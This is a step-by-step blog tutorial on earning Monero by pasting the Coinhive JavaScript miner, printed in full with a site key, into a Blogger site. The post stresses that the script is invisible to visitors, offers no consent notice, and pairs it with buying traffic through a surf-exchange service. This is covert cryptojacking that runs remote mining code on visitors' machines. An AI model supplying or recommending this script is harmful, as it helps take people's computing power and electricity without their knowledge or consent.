How to mine Monero (XMR) with your blog or website

This post will teach you how to mine Monero (XMR) with your blog (blogger/blogspot) or website.

Multiple earning at the same time

You will learn how to gain earning from 3 sources with one method. The 3 sources of earning are from:
1. Monero Mining from the visitor to your blog
2. Earning from Google Ads
3. Earning from Easyhits4u

Introduction

Some of you might hear about Piratebay using his website visitor’s CPU to mine monero (XMR).
This is a perfect idea to generate additional income without visitor click on the ads.
In this blog, I am gonna show you how to do it even you do not own a website.

I will give you step by step guide on how to mine monero (XMR) with your blog/blogger/blogspot.
YOU NEED ABOUT 5 MINUTES TO COMPLETE READING THIS GUIDE.

1) Register an account with Coin-Hive

Register with coin-hive is a simple process to fill up a simple form. It takes you less than 3 minute.
Coin-hive.

Just fill in your email and choose your password to sign-up
Then, you will need to verify your email address thru the coin-hive’s email your website.
SignupCoinhive
SignupCoinhive

Just fill in your email and choose your password to sign-up
Then, you will need to verify your email address thru the coin-hive’s email your website.

2) Register with blogger

Simply go to Blogger. You can sign in with your google / gmail account.
If you do not have any google account, just register a new one.
If you already had a blog, then it is easier for you to do the next few steps.

3) Get your JavaScript Miner

Sign in to your Coin-hive . Go to “Documentation” tab.
"Documentation" tab
“Documentation” tab

You will see the JavaScript Miner, click into it and you will see below:

Synopsis
Synopsis

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script> var miner = new CoinHive.Anonymous(‘YOUR_SITE_KEY’, {throttle: 0.3}); // Only start on non-mobile devices and if not opted-out // in the last 14400 seconds (4 hours): if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start(); } </script>

In order to find your site key, go to “Setting” on the top right of the page.
Settings
Settings

Click into the “Sites & API Keys

The Site Key
The Site Key

You will see your Site Key (public). Copy this site key and replace into the JavaScript, like mine as:

<script src=https://coinhive.com/lib/coinhive.min.js"></script>

<script> var miner = new CoinHive.Anonymous(‘3bqJbLATkssXnJJQ6ocg1YWUCqTtKDME’, {throttle: 0.3}); // Only start on non-mobile devices and if not opted-out // in the last 14400 seconds (4 hours): if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start(); } </script>

4) Copy & Paste this JavaScript into your blog

You will need to copy and paste the above JavaScript into your blog as below in HTML mode:

Copy & Paste
Copy & Paste this JavaScript into your blog

You can paste anywhere of your blog, I prefer to put it at the bottom of my blog. This is not visible after you publish your blog.

You can now write your own blog in Compose mode or simply edit your current blog by adding the JavaScript.

5) Publish your blog and view it

After your paste the JavaScript into your blog and completed the content of your blog, you can publish your blog now. Then, you have to view your blog and see whether everything is alright.
While you viewing your own blog as a public, go to Coin-hive (non-ref link) “dashboard” and see whether your own visit to your blog is mining monero (XMR) for you.

Dashboard
Dashboard

If you there is increasing in Total Hashes, congratulation !!! You are successfully generating Monero from your blog. It will increase once someone view your blog.

6) Don’t forget to setup your payout address

Go to tab “Setting” and then click into “Payments“. You can put in your Monero wallet address in order to get your payment.

If you do not have any Monero Wallet, you can simply get one from online. Check it out on Monero official website https://getmonero.org/

7) Promote your blog

In order to increase visitor to your blog or searchable on google, Easyhits4u is the best tools to generate traffic to your website or blog. You can surf some website here to earn some credits. The credits can be used to generate traffic to you website / blog. Put your blog link into “My Site” and start surfing. At the same time, you will see the visitor to you blog is increasing and thus the increasing monero (XMR) in your coin-hive account.

You can earn some money too while surfing with  Easyhits4u  (Free account Sign up Easyhits4u here)

Once you have sufficient visitor to your blog, you can apply to get earning from google ads.
you can check this on the blogger homepage “under earning” tab